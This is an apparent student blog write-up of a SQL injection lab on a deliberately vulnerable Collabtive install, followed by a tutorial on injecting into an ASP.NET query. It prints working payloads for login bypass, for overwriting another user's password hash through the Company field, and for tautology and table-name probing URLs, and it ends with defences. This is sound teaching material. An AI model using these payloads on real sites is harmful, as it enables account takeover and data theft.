20169215《Linux内核原理及分析》第十二周作业

Collabtive 系统 SQL 注入实验

实验介绍

SQL注入漏洞的代码注入技术,利用web应用程序和数据库服务器之间的接口。通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。
在这个实验中,我们利用的web应用程序称为Collabtive，禁用Collabtive的若干对策。这样我们就创建了一个容易受到SQL注入攻击的Collabtive版本。经过我们的人工修改,可以捕捉许多web开发人员的常见错误。在本实验室学生的目标是找到方法来利用SQL注入漏洞,证明可以通过攻击的伤害,和掌握的技术,可以帮助抵御这类攻击。

预备知识

1、 SQL语言

结构化查询语言(Structured Query Language)简称SQL：是一种特殊目的的编程语言，是一种数据库查询和程序设计语言，用于存取数据以及查询、更新和管理关系数据库系统；同时也是数据库脚本文件的扩展名。

2、SQL注入

SQL注入：SQL注入能使攻击者绕过认证机制，完全控制远程服务器上的数据库。SQL是结构化查询语言的简称，它是访问数据库的事实标准。目前，大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台都使用某种SQL数据库。跟大多数语言一样，SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话，用户数据就有可能被解释成命令，这样的话，远程用户就不仅能向Web应用输入数据，而且还可以在数据库上执行任意命令了。

3、SQL注入危害

（1）非法读取、篡改、添加、删除数据库中的数据。

（2）盗取用户的各类敏感信息，获取利益。

（3）通过修改数据库来修改网页上的内容。

（4）私自添加或删除账号。

（5）注入木马等等。

4、环境搭建

（1）启动mysql数据库

（2）启动apache服务器

（3）配置DNS服务

sudo vim /etc/hosts

（4）配置web文件

sudo vim /etc/apache2/conf.d/lab.conf

sudo service apache2 restart  重启服务

访问测试：http://www.sqllabcollabtive.com

（5）关闭php配置策略

sudo vim /etc/php5/apache2/php.ini

关于magic_quotes_off函数：

对于magic_quotes_gpc=on的情况，我们可以不对输入和输出数据库的字符串数据作addslashes()和stripslashes()的操作,数据也会正常显示；

如果此时你对输入的数据作了addslashes()处理，那么在输出的时候就必须使用stripslashes()去掉多余的反斜杠。

对于PHP magic_quotes_gpc=off 的情况

必须使用addslashes()对输入数据进行处理，但并不需要使用stripslashes()格式化输出，因为addslashes()并未将反斜杠一起写入数据库，只是帮助mysql完成了sql语句的执行。

5、实验内容

（1）select语句的sql注入

访问：www.sqllabcollabtive.com；当我们知道用户而不知道到密码的时候，我们可以怎么登陆？

查看登陆验证文件：

sudo vim /var/www/SQL/Collabtive/include/class.user.php

修改完后重启一下服务器：

sudo sudo service apache2 restart

我们在$user后面加上) # 这样就会只验证用户名，后面的会被#注释

点击登陆以后，我们就可以绕过密码直接登录：

问题：

登陆用户名：admin') union update user set name='test' #

登陆密码：随意的字符

登陆失败

原因解释

MySQL机制：update不支持union语法。

（2）update语句的sql注入

我们可以找到如下的代码：

function edit($id, $name, $realname, $email, $tel1, $tel2, $company,
          $zip, $gender, $url, $address1, $address2, $state,
          $country, $tags, $locale, $avatar = "", $rate = 0.0)
{
$name = mysql_real_escape_string($name);
$realname = mysql_real_escape_string($realname);

//modified for SQL Lab
//$company = mysql_real_escape_string($company);
$email = mysql_real_escape_string($email);

// further escaped parameters removed for brevity...

$rate = (float) $rate;
$id = (int) $id;

if ($avatar != "")
    {
        $upd = mysql_query("UPDATE user SET name='$name', email='$email',
                            tel1='$tel1', tel2='$tel2', company='$company',
                            zip='$zip', gender='$gender', url='$url',
                            adress='$address1', adress2='$address2',
                            state='$state', country='$country',
                            tags='$tags', locale='$locale',
                            avatar='$avatar', rate='$rate' WHERE ID = $id");
    }
else
    {
        // same query as above minus setting avatar; removed for
        // brevity
    }
if ($upd)
    {
        $this->mylog->add($name, 'user', 2, 0);
        return true;
    }
else
    {
        return false;
    }
}

发现sql语句为：SELECT ID WHERE name='$user',并且company的位置是存在注入漏洞，原理同实验一。

这样我们就可以越权来修改其他用户的信息及密码；我们使用任意用户，如： bob bob 进行登录；

在编辑用户的位置：user 填 ted 用户； Company 处填：

', `pass` = '9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684' WHERE ID = 4 # '

注：这里的 9d4e1e23bd5b727046a9e3b4b7db57bd8d6ee684 就是pass的md5值；

点击修改，然后我们退出当前用户，使用ted用户登录，这个时候ted用户的密码修改为了pass。

6、防御策略

SQL注入漏洞的根本问题是数据与代码的分离失败，因此我们可以针对这个原因进行防御。

防御策略1

防御转义特殊字符使用，默认开启magic_quotes_gpc，将magic_quotes_gpc值设为On。

防御策略2--避免使用特殊字符

MySQL提供一个函数 mysql_real_escape_string()，这个函数可以用来过滤一些特殊字符；如\x00, \n, \r, , ', " and \x1a；

防御策略3--数据与sql语句的分离

通过SQL逻辑分离来告诉数据库到底是哪部分是数据部分，哪一部分是SQL语句部分。

实验补充

SQL Injection：就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串，最终达到欺骗服务器执行恶意的SQL命令。

具体来说，它是利用现有应用程序，将（恶意）的SQL命令注入到后台数据库引擎执行的能力，它可以通过在Web表单中输入（恶意）SQL语句得到一个存在安全漏洞的网站上的数据库，而不是按照设计者意图去执行SQL语句。

首先了解什么时候可能发生SQL Injection。

假设在浏览器中输入URL www.sample.com，由于它只是对页面的简单请求无需对数据库动进行动态请求，所以它不存在SQL Injection，当输入www.sample.com?testid=23时，在URL中传递变量testid，并且提供值为23，由于它是对数据库进行动态查询的请求（其中?testid＝23表示数据库查询变量），所以可以该URL中嵌入恶意SQL语句。

现在知道SQL Injection适用场合，接下来将通过具体的例子来说明SQL Injection的应用，这里以pubs数据库作为例子。

通过Web页面查询job表中的招聘信息，job表的设计如下：

接着让实现Web程序，它根据工作Id（job_id）来查询相应的招聘信息，示意代码如下：

protected void Page_Load(object sender, EventArgs e)
{
    if (!IsPostBack)
    {
        // Gets departmentId from http request.
        string queryString = Request.QueryString["departmentID"];
        if (!string.IsNullOrEmpty(queryString))
        {
            // Gets data from database.
            gdvData.DataSource = GetData(queryString.Trim());

            // Binds data to gridview.
            gdvData.DataBind();
        }
    }
}

现在已经完成了Web程序，接下来让查询相应招聘信息。

如图所示，要查询数据库中工作Id值为1的工作信息，而且在页面显示了该工作的Id，Description，Min Lvl和Max Lvl等信息。

现在要求实现根据工作Id查询相应工作信息的功能，SQL示意代码如下：

SELECT     job_id, job_desc, min_lvl, max_lvl
FROM         jobs
WHERE     (job_id = 1)

假设现在要求获取Department表中的所有数据，而且必须保留WHERE语句，那只要确保WHERE恒真就OK了，SQL示意代码如下：

SELECT     job_id, job_desc, min_lvl, max_lvl
FROM         jobs
WHERE     (job_id = 1) OR 1 = 1

上面使得WHERE恒真，所以该查询中WHERE已经不起作用了，其查询结果等同于以下SQL语句。

SELECT     job_id, job_desc, min_lvl, max_lvl
FROM         jobs

SQL查询代码实现如下：

string sql1 = string.Format(
    "SELECT job_id, job_desc, min_lvl, max_lvl FROM jobs WHERE job_id='{0}'", jobId);

现在要通过页面请求的方式，让数据库执行的SQL语句，要在URL中嵌入恶意表达式1=1（或2=2等等），如下URL所示：

http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or'1'='1

等效SQL语句如下：

SELECT     job_id, job_desc, min_lvl, max_lvl
FROM         jobs
WHERE     job_id = '1' OR '1' = 1'

现在把job表中的所有数据都查询出来了，仅仅通过一个简单的恒真表达式就可以进行了一次简单的攻击。

虽然把job表的数据都查询出来了，但数据并没有太大的价值，由于把该表临时命名为job表，所以接着要找出该表真正表名。

首先假设表名就是job，然后输入以下URL：

http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or 1=(select count(*) from job)--

等效SQL语句如下：

SELECT       job_id, job_desc, min_lvl, max_lvl 
FROM         jobs 
WHERE      job_id='1'or 1=(select count(*) from job) --'

当输入了以上URL后，结果服务器返回错误信息，这证明了的假设是错误的，那该感觉到挫败吗？不，其实这里返回了很多信息，首先它证明了该表名不是job，而且它还告诉后台数据库是SQL Server，不是MySQL或Oracle，这也设计一个漏洞把错误信息直接返回给了用户。

接下假定表名是jobs，然后输入以下URL：

http://localhost:3452/ExcelUsingXSLT/Default.aspx?jobid=1'or1=(select count(*) from jobs) --

等效SQL语句如下：

SELECT       job_id, job_desc, min_lvl, max_lvl 
FROM         jobs 
WHERE      job_id='1'or 1=(select count(*) from jobs) --'

现在证明了该表名是jobs，这可以迈向成功的一大步，由于知道了表名就可以对该表进行增删改操作了，而且还可以猜测出更多的表对它们作出修改，一旦修改成功那么这将是一场灾难。

现在我们已经对SQL Injection的攻击有了初步的了解了，接下学习如何防止SQL Injection。

总的来说有以下几点：

1.永远不要信任用户的输入，要对用户的输入进行校验，可以通过正则表达式，或限制长度，对单引号和双"-"进行转换等。

2.永远不要使用动态拼装SQL，可以使用参数化的SQL或者直接使用存储过程进行数据查询存取。

3.永远不要使用管理员权限的数据库连接，为每个应用使用单独的权限有限的数据库连接。

4.不要把机密信息明文存放，请加密或者hash掉密码和敏感的信息。

5.应用的异常信息应该给出尽可能少的提示，最好使用自定义的错误信息对原始错误信息进行包装，把异常信息存放在独立的表中。

posted on 2016-12-11 20:27 20169215 阅读(167) 评论(0) 编辑收藏举报

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